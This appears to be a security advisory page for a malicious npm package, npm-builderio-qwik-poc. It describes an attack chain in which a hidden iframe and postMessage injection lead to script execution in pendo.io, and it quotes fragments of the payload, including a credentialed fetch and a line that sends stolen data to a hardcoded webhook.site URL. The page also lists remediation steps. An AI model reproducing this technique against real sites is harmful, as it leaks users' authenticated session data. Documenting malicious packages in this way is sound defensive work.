MAL-2026-4623

    Dashboard / Malicious Package / MAL-2026-4623

    MAL-2026-4623

    Published: 25 May 2026Last Modified: 12 Nov 2026Aliases: 
    GHSA-923c-wff6-2p7q

    Summary: Malicious code in npm-builderio-qwik-poc (npm)

    Details: Source: amazon-inspector (11a743cdce28dd141d636ff13baaee44df53fbaaed17efdc5a7380281b7097e1) The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a hidden iframe pointing at `www.pendo.io?builder.frameEditing=true`, then sprays `builder.patchUpdates` postMessages whose `op:'replace'` payload on `/bindings/show` carries a JavaScript string that the Builder.io SDK's `stringToFunction()` passes to `Function()` — achieving script execution in the pendo.io origin. The injected script performs a credentialed `fetch('https://novus-api.pendo.io/pendo/app', {credentials:'include'})`, base64-encodes the response, chunks it, and exfiltrates each chunk via `new Image().src = 'https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk=...&d=...'` to a hardcoded attacker-controlled webhook. Any developer who bundles this package into a web application weaponizes their site against pendo.io users: visitors will silently leak authenticated pendo.io session data to the attacker. The exfil destination is hardcoded with no opt-in, configuration, or authorization gate, so the harm fires on every load regardless of consumer intent. There is no install-time or import-time Node side effect (the code requires a browser DOM), but the public API surface itself is the attack. Source: ghsa-malware (700dee5874c38ef3a7d807a539d58e184fd4093b1b633d93374d98bd18582193) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

    Affected packages

    Package

    Name: npm-builderio-qwik-poc

    Purl: pkg:npm/npm-builderio-qwik-poc

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    1.0.2
    1.0.5
    1.0.3
    1.0.1
    1.0.4
    MAL-2026-4623 | CVE-DB